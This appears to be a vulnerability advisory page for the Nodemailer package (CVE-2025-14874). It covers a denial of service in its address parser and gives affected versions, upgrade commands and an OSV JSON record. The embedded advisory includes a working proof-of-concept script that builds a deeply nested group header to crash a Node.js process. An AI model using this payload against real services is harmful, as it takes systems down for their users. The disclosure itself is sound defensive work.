Vulnerabilities in pkg:maven/org.webjars.npm/nodemailer
PACKAGECVE-2025-14874 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-703: Improper Check or Handling of Exceptional Conditions) affecting Nodemailer libraries in the npm ecosystem. The issue involves nodemailer’s addressparser is vulnerable to dos caused by recursive calls. Remediation is available by upgrading affected packages to version 7.0.11.
pkg:maven/org.webjars.npm/nodemailer
Vulnerability advisories affecting package pkg:maven/org.webjars.npm/nodemailer. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-rcmh-qjqh-p98v | CVE-2025-14874 | HIGH | Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls |
CVE-2025-14874 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2025-14874
To remediate this vulnerability, upgrade all affected Nodemailer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install nodemailer@7.0.11
<dependency>
<groupId>org.webjars.npm</groupId>
<artifactId>nodemailer</artifactId>
<version>Latest secure release</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls nodemailer
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-14874, inspect your project dependencies using npm:
npm ls nodemailer
Analyze the terminal output to locate any version of Nodemailer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.0.11), your application is affected.
Note: The npm ls nodemailer command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-703: Improper Check or Handling of Exceptional Conditions, where the product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product. In Nodemailer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-14874 Affected Nodemailer Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
nodemailer
|
npm |
≥ 3.0.0
< 7.0.11
|
7.0.11
|
|
org.webjars.npm:nodemailer
|
Maven |
≥ 3.0.0
≤ 6.10.1
|
|
References
Frequently Asked Questions
What is CVE-2025-14874?
Which Nodemailer versions are affected?
What version fixes CVE-2025-14874?
Is nodemailer affected?
What is the CVSS score of CVE-2025-14874?
What CWE is associated with CVE-2025-14874?
How can I check npm dependencies for CVE-2025-14874?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rcmh-qjqh-p98v",
"modified" : "2026-07-15T21:55:30Z",
"published" : "2025-12-01T20:44:25Z",
"aliases" : [ "CVE-2025-14874" ],
"summary" : "Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls",
"details" : "### Summary\nA DoS can occur that immediately halts the system due to the use of an unsafe function.\n\n### Details\nAccording to **RFC 5322**, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.\nHowever, the code implemented for this flattening process can be exploited by malicious input and triggers DoS\n\nRFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.\nAt the following location in lib/addressparser/index.js:\n\nhttps://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90\n\nthere is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:\n\n```g0: g1: g2: g3: ... gN: victim@example.com;```\n\nBecause no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern\n`addressparser → _handleAddress → addressparser → ...`\nfor each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.\n\nThe problematic code section is as follows:\n```js\nif (isGroup) {\n ...\n if (data.group.length) {\n let parsedGroup = addressparser(data.group.join(',')); // <- boom!\n parsedGroup.forEach(member => {\n if (member.group) {\n groupMembers = groupMembers.concat(member.group);\n } else {\n groupMembers.push(member);\n }\n });\n }\n}\n```\n`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.\n\n### PoC\n\n```\nconst nodemailer = require('nodemailer');\n\nfunction buildDeepGroup(depth) {\n let parts = [];\n for (let i = 0; i < depth; i++) {\n parts.push(`g${i}:`);\n }\n return parts.join(' ') + ' user@example.com;';\n}\n\nconst DEPTH = 3000; // <- control depth \nconst toHeader = buildDeepGroup(DEPTH);\nconsole.log('to header length:', toHeader.length);\n\nconst transporter = nodemailer.createTransport({\n streamTransport: true,\n buffer: true,\n newline: 'unix'\n});\n\nconsole.log('parsing start');\n\ntransporter.sendMail(\n {\n from: 'test@example.com',\n to: toHeader,\n subject: 'test',\n text: 'test'\n },\n (err, info) => {\n if (err) {\n console.error('error:', err);\n } else {\n console.log('finished :', info && info.envelope);\n }\n }\n);\n```\nAs a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.\n\n### Impact\nThe attacker can achieve the following:\n\n1. Force an immediate crash of any server/service that uses Nodemailer\n2. Kill the backend process with a single web request\n3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "nodemailer"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.0"
}, {
"fixed" : "7.0.11"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 7.0.10"
}
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "org.webjars.npm:nodemailer"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.0"
}, {
"last_affected" : "6.10.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-14874"
}, {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/commit/6218b8df"
}, {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/security/cve/CVE-2025-14874"
}, {
"type" : "WEB",
"url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2418133"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nodemailer/nodemailer"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-703" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-12-01T20:44:25Z",
"nvd_published_at" : null
}
}